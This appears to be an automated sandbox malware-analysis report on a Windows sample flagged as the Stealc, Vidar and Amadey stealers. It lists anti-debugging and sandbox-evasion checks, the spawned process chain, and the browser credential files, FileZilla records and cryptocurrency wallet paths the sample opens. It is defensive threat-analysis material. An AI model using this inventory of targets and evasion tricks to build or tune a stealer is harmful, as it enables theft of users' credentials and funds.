Source: EBFBKFBG.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: EBFBKFBG.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: EBFBKFBG.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Amcache.hve.13.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: EBFBKFBG.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: EBFBKFBG.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual RAM
Source: EBFBKFBG.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: EBFBKFBG.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: RoamingBKJEGDGIJE.exe, 00000006.00000002.2373687133.000000000049A000.00000040.00000001.01000000.00000009.sdmp, RoamingIJEGDBGDBF.exe, 00000009.00000002.2452147318.0000000000251000.00000040.00000001.01000000.0000000A.sdmp, explorti.exe, 0000000E.00000002.2491799529.0000000000DF1000.00000040.00000001.01000000.0000000F.sdmp, explorti.exe, 0000000F.00000002.2492757174.0000000000DF1000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 00000013.00000002.2766986693.0000000000A1A000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 7ca32398cd.exe, 00000014.00000002.2836612791.00000000026D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9"
Source: 7ca32398cd.exe, 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareN
Source: EBFBKFBG.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: EBFBKFBG.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-56622
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-56619
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-57797
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-56639
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-56640
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-56633
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-56662
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-56461

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe

Code function: 6_2_04A906A8 rdtsc

6_2_04A906A8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0041ACFA

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Source: C:\Users\user\Desktop\file.exe

0_2_004195E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00419160 mov eax, dword ptr fs:[00000030h]

0_2_00419160

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041C8D9 SetUnhandledExceptionFilter,	0_2_0041C8D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041ACFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041A718
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CB6B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB6B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 2036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7ca32398cd.exe PID: 8012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7ca32398cd.exe PID: 1336, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingBKJEGDGIJE.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingIJEGDBGDBF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe "C:\Users\user\AppData\RoamingBKJEGDGIJE.exe"	Jump to behavior
Source: C:\Users\user\AppData\RoamingBKJEGDGIJE.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe "C:\Users\user\AppData\RoamingIJEGDBGDBF.exe"	Jump to behavior
Source: C:\Users\user\AppData\RoamingIJEGDBGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe "C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe"
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\1000003002\5aa32fec17.exe "C:\Users\user\1000003002\5aa32fec17.exe"
Source: C:\Users\user\1000003002\5aa32fec17.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\5175.tmp\5176.tmp\5177.bat C:\Users\user\1000003002\5aa32fec17.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"

Source: RoamingBKJEGDGIJE.exe, RoamingBKJEGDGIJE.exe, 00000006.00000002.2373687133.000000000049A000.00000040.00000001.01000000.00000009.sdmp, RoamingIJEGDBGDBF.exe, RoamingIJEGDBGDBF.exe, 00000009.00000002.2452147318.0000000000251000.00000040.00000001.01000000.0000000A.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417630

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\1000003002\5aa32fec17.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\1000003002\5aa32fec17.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000002001\7ca32398cd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

0_2_00417420

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004172F0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_004174D0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.RoamingBKJEGDGIJE.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.explorti.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.explorti.exe.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.axplong.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RoamingIJEGDBGDBF.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.2766827363.0000000000821000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2365017616.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2373501686.00000000002A1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2451973039.0000000000061000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2379252513.0000000004F60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2737331224.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2451358988.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2726323030.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2491687101.0000000000C01000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2450117258.0000000004910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2492594050.0000000000C01000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2332541426.0000000004880000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2400608729.0000000002507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2836612791.0000000002698000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3000379607.00000000025BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7ca32398cd.exe PID: 8012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7ca32398cd.exe PID: 1336, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2036, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: passphrase.json
Source: file.exe	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe	String found in binary or memory: \Ethereum\
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe, 00000000.00000002.2400608729.0000000002571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 16.113Users\user\AppData\Roaming\Binance\.finger-print.fpk
Source: file.exe	String found in binary or memory: Ethereum
Source: file.exe	String found in binary or memory: file__0.localstorage
Source: file.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: file.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: file.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
